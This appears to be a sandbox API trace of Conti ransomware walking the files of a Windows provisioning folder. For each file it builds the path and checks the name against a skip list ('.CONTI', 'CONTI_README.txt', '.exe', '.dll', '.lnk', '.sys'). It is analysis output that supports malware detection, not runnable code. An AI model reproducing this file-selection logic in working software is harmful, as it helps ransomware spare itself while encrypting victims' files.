	[0108.173] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.173] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml"
	[0108.173] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", cAlternateFileName="187__C~1.PRO")) returned 1
	[0108.173] lstrcmpiW (lpString1="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.173] lstrcmpiW (lpString1="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.173] StrStrIW (lpFirst="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.173] StrStrIW (lpFirst="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.173] StrStrIW (lpFirst="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.173] StrStrIW (lpFirst="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.174] StrStrIW (lpFirst="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.174] StrStrIW (lpFirst="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.174] StrStrIW (lpFirst="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.174] StrStrIW (lpFirst="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.174] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.174] lstrlenW (lpString="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml") returned 71
	[0108.174] GetProcessHeap () returned 0x1720000
	[0108.174] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x17d0a58
	[0108.174] lstrcpyW (in: lpString1=0x17d0a58, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.174] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.174] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml"
	[0108.174] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", cAlternateFileName="188__C~1.PRO")) returned 1
	[0108.174] lstrcmpiW (lpString1="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.174] lstrcmpiW (lpString1="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.174] StrStrIW (lpFirst="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.174] StrStrIW (lpFirst="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.174] StrStrIW (lpFirst="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.174] StrStrIW (lpFirst="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.174] StrStrIW (lpFirst="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.174] StrStrIW (lpFirst="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.174] StrStrIW (lpFirst="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.174] StrStrIW (lpFirst="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.174] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.174] lstrlenW (lpString="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml") returned 71
	[0108.174] GetProcessHeap () returned 0x1720000
	[0108.174] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x17d1110
	[0108.174] lstrcpyW (in: lpString1=0x17d1110, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.174] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.174] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml"
	[0108.174] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="189__C~1.PRO")) returned 1
	[0108.174] lstrcmpiW (lpString1="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0108.175] lstrcmpiW (lpString1="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0108.175] StrStrIW (lpFirst="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.175] StrStrIW (lpFirst="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.175] StrStrIW (lpFirst="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0108.175] StrStrIW (lpFirst="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0108.175] StrStrIW (lpFirst="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0108.175] StrStrIW (lpFirst="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0108.175] StrStrIW (lpFirst="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.175] StrStrIW (lpFirst="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.175] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.175] lstrlenW (lpString="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0108.175] GetProcessHeap () returned 0x1720000
	[0108.175] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x181e860
	[0108.175] lstrcpyW (in: lpString1=0x181e860, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.175] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.175] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.175] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="18__CE~1.PRO")) returned 1
	[0108.175] lstrcmpiW (lpString1="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".") returned 1
	[0108.175] lstrcmpiW (lpString1="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2="..") returned 1
	[0108.175] StrStrIW (lpFirst="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0108.175] StrStrIW (lpFirst="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.175] StrStrIW (lpFirst="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".exe") returned 0x0
	[0108.175] StrStrIW (lpFirst="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".dll") returned 0x0
	[0108.175] StrStrIW (lpFirst="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".lnk") returned 0x0
	[0108.175] StrStrIW (lpFirst="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".sys") returned 0x0
	[0108.175] StrStrIW (lpFirst="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0108.175] StrStrIW (lpFirst="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.175] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.175] lstrlenW (lpString="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned 67
	[0108.175] GetProcessHeap () returned 0x1720000
	[0108.175] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6588e70
	[0108.176] lstrcpyW (in: lpString1=0x6588e70, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.176] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.176] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0108.176] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="190__C~1.PRO")) returned 1
	[0108.176] lstrcmpiW (lpString1="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.176] lstrcmpiW (lpString1="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.176] StrStrIW (lpFirst="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.176] StrStrIW (lpFirst="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.176] StrStrIW (lpFirst="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.176] StrStrIW (lpFirst="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.176] StrStrIW (lpFirst="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.176] StrStrIW (lpFirst="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.176] StrStrIW (lpFirst="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.176] StrStrIW (lpFirst="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.176] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.176] lstrlenW (lpString="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml") returned 69
	[0108.176] GetProcessHeap () returned 0x1720000
	[0108.176] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6588578
	[0108.176] lstrcpyW (in: lpString1=0x6588578, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.176] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.176] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml"
	[0108.176] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="191__C~1.PRO")) returned 1
	[0108.176] lstrcmpiW (lpString1="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.176] lstrcmpiW (lpString1="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.176] StrStrIW (lpFirst="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.176] StrStrIW (lpFirst="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.176] StrStrIW (lpFirst="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.176] StrStrIW (lpFirst="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.176] StrStrIW (lpFirst="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.177] StrStrIW (lpFirst="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.177] StrStrIW (lpFirst="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.177] StrStrIW (lpFirst="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.177] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.177] lstrlenW (lpString="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml") returned 76
	[0108.177] GetProcessHeap () returned 0x1720000
	[0108.177] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14e) returned 0x17d1518
	[0108.177] lstrcpyW (in: lpString1=0x17d1518, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.177] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.177] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml"
	[0108.177] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="192__C~1.PRO")) returned 1
	[0108.179] lstrcmpiW (lpString1="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0108.179] lstrcmpiW (lpString1="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0108.179] StrStrIW (lpFirst="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.179] StrStrIW (lpFirst="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.179] StrStrIW (lpFirst="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0108.180] StrStrIW (lpFirst="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0108.180] StrStrIW (lpFirst="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0108.180] StrStrIW (lpFirst="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0108.180] StrStrIW (lpFirst="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.180] StrStrIW (lpFirst="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
